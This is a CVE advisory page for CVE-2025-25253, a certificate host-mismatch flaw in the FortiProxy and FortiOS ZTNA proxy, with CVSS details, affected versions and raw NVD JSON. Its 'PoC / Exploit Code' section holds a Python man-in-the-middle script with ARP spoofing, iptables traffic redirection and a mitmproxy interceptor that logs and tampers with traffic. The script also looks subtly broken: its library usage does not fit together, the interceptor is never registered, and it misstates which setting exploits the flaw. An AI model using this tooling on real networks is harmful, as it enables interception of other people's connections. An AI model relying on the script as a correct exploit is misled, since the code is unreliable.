Security Vulnerability Report
中文
CVE-2025-25253 CVSS 7.5 HIGH

CVE-2025-25253

Published: 2025-10-14 16:15:37
Last Modified: 2025-10-15 17:31:11

Description

An Improper Validation of Certificate with Host Mismatch vulnerability [CWE-297] in FortiProxy version 7.6.1 and below, version 7.4.8 and below, 7.2 all versions, 7.0 all versions and FortiOS version 7.6.2 and below, version 7.4.8 and below, 7.2 all versions, 7.0 all versions ZTNA proxy may allow an unauthenticated attacker in a man-in-the middle position to intercept and tamper with connections to the ZTNA proxy

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
FortiProxy <= 7.6.1
FortiProxy <= 7.4.8
FortiProxy 7.2 所有版本
FortiProxy 7.0 所有版本
FortiOS <= 7.6.2
FortiOS <= 7.4.8
FortiOS 7.2 所有版本
FortiOS 7.0 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-25253 PoC - FortiProxy/FortiOS ZTNA Certificate Host Mismatch MITM # This PoC demonstrates the concept of exploiting improper certificate validation # in FortiProxy/FortiOS ZTNA proxy via a man-in-the-middle attack. import ssl import socket import threading from mitmproxy import http, options from mitmproxy.proxy import layer, ProxyServer # Step 1: Generate or obtain a valid TLS certificate for ANY domain # (e.g., attacker-controlled domain or a mismatched valid cert) # The vulnerability allows ANY valid cert to be accepted by the ZTNA proxy ATTACKER_CERT = "attacker_cert.pem" ATTACKER_KEY = "attacker_key.pem" # Step 2: Set up MITM proxy to intercept ZTNA connections class ZTNAInterceptor: def __init__(self): self.intercepted_data = [] def request(self, flow: http.HTTPFlow) -> None: """Intercept and log ZTNA proxy requests""" print(f"[*] Intercepted request to: {flow.request.host}") print(f"[*] Headers: {dict(flow.request.headers)}") self.intercepted_data.append(flow.request.content) def response(self, flow: http.HTTPFlow) -> None: """Intercept and tamper with ZTNA proxy responses""" print(f"[*] Intercepted response from: {flow.request.host}") # Attacker can modify response data here (Integrity impact: High) # flow.response.content = b"<malicious_payload>" # Step 3: ARP spoofing or network positioning to become MITM # (Required due to AV:A - Adjacent network attack vector) def perform_arp_spoof(target_ip, gateway_ip): """ Use scapy or arpspoof to position attacker as MITM between victim and FortiProxy/FortiOS ZTNA gateway """ from scapy.all import ARP, send, Ether # Tell target that we are the gateway packet_target = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP( op=2, pdst=target_ip, psrc=gateway_ip ) # Tell gateway that we are the target packet_gateway = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP( op=2, pdst=gateway_ip, psrc=target_ip ) send(packet_target, verbose=False) send(packet_gateway, verbose=False) print(f"[*] ARP spoofing: {target_ip} <-> {gateway_ip}") # Step 4: Start MITM proxy with mismatched certificate def start_mitm_proxy(): opts = options.Options( listen_host="0.0.0.0", listen_port=8080, ssl_insecure=True, # This is the key - accepts certs with host mismatch ) interceptor = ZTNAInterceptor() server = ProxyServer(opts) print("[*] MITM proxy started on port 8080") print("[*] Waiting for victim to connect to ZTNA proxy...") server.run() if __name__ == "__main__": print("=" * 60) print("CVE-2025-25253 - FortiProxy/FortiOS ZTNA MITM Exploit") print("Improper Certificate Host Mismatch Validation") print("=" * 60) # Configure IP forwarding # echo 1 > /proc/sys/net/ipv4/ip_forward # Step 1: Position as MITM in adjacent network # perform_arp_spoof("192.168.1.100", "192.168.1.1") # Step 2: Redirect ZTNA traffic through our proxy # iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080 # Step 3: Start intercepting # start_mitm_proxy() print("\n[*] Vulnerability: ZTNA proxy does not validate certificate hostname") print("[*] Impact: Unauthenticated MITM can intercept and tamper connections") print("[*] CVSS: 7.5 HIGH | AV:A/AC:H/PR:N/UI:N/C:H/I:H/A:H")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25253", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:36.850", "lastModified": "2025-10-15T17:31:11.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Validation of Certificate with Host Mismatch vulnerability [CWE-297] in FortiProxy version 7.6.1 and below, version 7.4.8 and below, 7.2 all versions, 7.0 all versions and FortiOS version 7.6.2 and below, version 7.4.8 and below, 7.2 all versions, 7.0 all versions ZTNA proxy may allow an unauthenticated attacker in a man-in-the middle position to intercept and tamper with connections to the ZTNA proxy"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-297"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.4.9", "matchCriteriaId": "BE879BBE-A7E4-4F8F-9A64-C83A8A28A4D7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.2", "matchCriteriaId": "C6E32BEB-8804-452C-A054-DD9FFCC8B796"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.4.9", "matchCriteriaId": "E8B043B6-F6EC-4551-9F0F-BC8E7AFB5925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.3", "matchCriteriaId": "D6B883B9-9ECD-4BC5-B497-770F34F92473"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-457", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}